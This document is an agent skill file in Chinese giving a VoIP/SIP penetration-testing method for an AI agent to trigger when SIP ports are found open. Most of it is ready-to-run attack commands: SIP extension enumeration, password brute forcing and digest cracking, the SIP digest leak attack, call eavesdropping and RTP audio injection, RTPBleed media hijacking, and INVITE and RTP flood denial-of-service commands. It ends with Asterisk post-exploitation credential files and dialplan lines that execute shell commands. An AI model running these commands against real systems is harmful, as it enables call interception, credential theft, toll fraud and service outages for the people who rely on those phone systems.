| name | voip-pentesting |
| description | VoIP/SIP 服务渗透测试方法论。涵盖 SIP 服务发现与枚举、SIP 认证攻击、通话劫持与窃听、SRTP 降级攻击、SIP 注册劫持、DoS 攻击、SRTP/ZRTP 安全分析。
当 Agent 扫描发现 SIP 端口 (5060/5061) 开放、需要测试 VoIP 基础设施安全、枚举 SIP 分机、或评估通话安全性时,触发此 Skill。
|
| metadata | {"tags":["voip","sip","rtp","语音通信","通话劫持","sipvicious"],"category":"exploit/network-service"} |
VoIP/SIP 渗透测试方法论
深入参考
整体决策树
VoIP 基础设施渗透测试
├─ Phase 1: 服务发现
│ ├─ SIP 端口扫描 (5060 UDP/TCP, 5061 TLS)
│ ├─ svmap / SIPPTS scan / Nmap -> SIP 设备发现
│ ├─ PBX 附属服务 (TFTP/HTTP/MySQL/LDAP)
│ └─ Google Dorks -> 暴露的 VoIP 管理界面
├─ Phase 2: SIP 枚举
│ ├─ 方法枚举 (OPTIONS / SIPPTS enumerate)
│ ├─ 分机枚举 (svwar / SIPPTS exten)
│ ├─ 响应头分析 -> 指纹识别
│ └─ 电话号码 OSINT
├─ Phase 3: 认证攻击
│ ├─ 在线密码爆破 (svcrack / SIPPTS rcrack)
│ ├─ 离线摘要破解 (sipdump + sipcrack)
│ ├─ SIP Digest Leak 漏洞利用
│ └─ 默认凭据
├─ Phase 4: 通话劫持与窃听
│ ├─ 网络嗅探 (Wireshark / ucsniff)
│ ├─ ARP 欺骗 -> MitM -> RTP 捕获
│ ├─ ChanSpy / ExtenSpy (Asterisk 监听)
│ ├─ RTP 注入 (rtpinsertsound / rtpmixsound)
│ └─ DTMF 码提取 (voicemail 密码)
├─ Phase 5: 安全协议分析
│ ├─ TLS 使用 -> SIP 通信加密
│ ├─ SRTP 使用 -> RTP 通信加密
│ ├─ ZRTP 使用 -> 端到端加密
│ └─ 未加密 -> 完全可嗅探
├─ Phase 6: 已知漏洞与攻击
│ ├─ RTCPBleed (RTP 代理 NAT 绕过)
│ ├─ Asterisk 配置错误 (免费拨号)
│ ├─ 分机注入
│ ├─ Click2Call 滥用
│ └─ OS/固件漏洞 (FreePBX / Elastix)
└─ DoS 攻击
├─ SIP INVITE Flood
├─ RTP Flood
└─ IAX Flood
Phase 1: 服务发现
1.1 网络扫描
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
use auxiliary/scanner/sip/options_tcp
use auxiliary/scanner/sip/options
1.2 附属服务检查
PBX 可能暴露的服务
├─ 69/UDP (TFTP) -> 固件更新文件
├─ 80/443 (HTTP/HTTPS) -> Web 管理界面
├─ 389 (LDAP) -> 用户信息
├─ 3306 (MySQL) -> 数据库
├─ 5038 (Asterisk Manager) -> 管理接口
├─ 5222 (XMPP) -> 即时消息
└─ 5432 (PostgreSQL) -> 数据库
1.3 Google Dorks
intitle:"Grandstream Device Configuration" Password
inurl:"ccmuser/logon.asp"
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
inurl:"maint/index.php?FreePBX" intitle:"FreePBX"
Phase 2: SIP 枚举
2.1 方法枚举
sippts enumerate -i 10.10.0.10
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
sippts wssend -i 10.10.0.10 -r 443 -path /ws
2.2 分机枚举
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
use auxiliary/scanner/sip/enumerator_tcp
use auxiliary/scanner/sip/enumerator
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10
Phase 3: 认证攻击
3.1 在线密码爆破
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080
svcrack -u100 -r1-9999 -z4 10.0.0.1
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
注意: 用户名可能与分机号相同,也可能不同,取决于 PBX 配置。
3.2 离线摘要破解
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
sippts dump -f capture.pcap -o data.txt
sippts dcrack -f data.txt -w wordlist/rockyou.txt
sippts tshark -f capture.pcap [-filter auth]
3.3 SIP Digest Leak 漏洞
利用 SIP 电话固有的漏洞,诱使其泄露摘要认证响应:
sippts leak -i 10.10.0.10
攻击流程:
- 攻击者发送 INVITE 到目标电话
- 目标振铃 -> 有人接听后挂断
- 目标发送 BYE
- 攻击者回复 407 要求认证
- 目标在第二个 BYE 中发送摘要认证
- 离线破解摘要
Phase 4: 通话劫持与窃听
4.1 网络嗅探
ucsniff -i eth0
加密检查:
- SIP 使用 TLS -> 无法看到 SIP 通信明文
- 使用 SRTP/ZRTP -> RTP 数据包加密
4.2 Asterisk 监听功能
4.3 RTP 注入
sudo apt install rtpinsertsound
rtpinsertsound <target_ip> <rtp_port> audio.wav
sudo apt install rtpmixsound
multimon -a DTMF -t wac pin.wav
Phase 5: 安全协议分析
5.1 加密状态决策树
通信加密评估
├─ SIP 信令
│ ├─ 明文 (UDP/TCP 5060) -> 可嗅探所有信令
│ └─ TLS (5061) -> 信令加密
├─ RTP 媒体流
│ ├─ 明文 RTP -> 可捕获并播放通话
│ ├─ SRTP -> 媒体加密
│ └─ ZRTP -> 端到端加密
└─ 风险评估
├─ 全明文 -> 高风险 (完全可窃听)
├─ 仅 SIP TLS -> 中风险 (媒体仍可截获)
└─ TLS + SRTP/ZRTP -> 低风险
Phase 6: 已知漏洞与攻击
6.1 RTCPBleed
RTP 代理的 NAT 穿越学习模式缺乏认证,攻击者可发送 RTP 包劫持媒体流:
sippts rtpbleed -i 10.10.0.10
sippts rtcpbleed -i 10.10.0.10
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
6.2 Asterisk 配置错误
免费拨号风险评估
├─ type=friend + insecure=port,invite
│ └─ 任何人可连接并拨打外部号码
├─ allowguest=true (sip.conf 默认)
│ └─ 无认证用户可拨打
├─ 默认 context 包含外部拨号规则
│ └─ include => external (含 Dial(SIP/trunk/${EXTEN}))
└─ IVRS 分机长度未校验
└─ 输入完整电话号码拨出
6.3 分机注入
6.4 未授权 INVITE 检测
sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
DoS 攻击
sippts flood -i 10.10.0.10 -m invite -v
sippts ping -i 10.10.0.10
iaxflood <target>
inviteflood <interface> <target> <port>
sipp -sf scenario.xml <target>:5060
Asterisk 后渗透
配置文件与凭据
关键文件
├─ sip.conf -> SIP 用户密码
├─ extensions.conf -> 拨号计划
├─ manager.conf -> AMI 管理密码
├─ FreePBX:
│ ├─ amportal.conf -> Web 管理员密码
│ └─ FreePBX.conf -> 数据库密码
├─ Elastix:
│ └─ Elastix.conf -> MySQL root / IMAP / Web 管理密码 (明文)
└─ MySQL root 可能无密码
RCE (获取配置写入权限后)
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
same => n,Shell(command)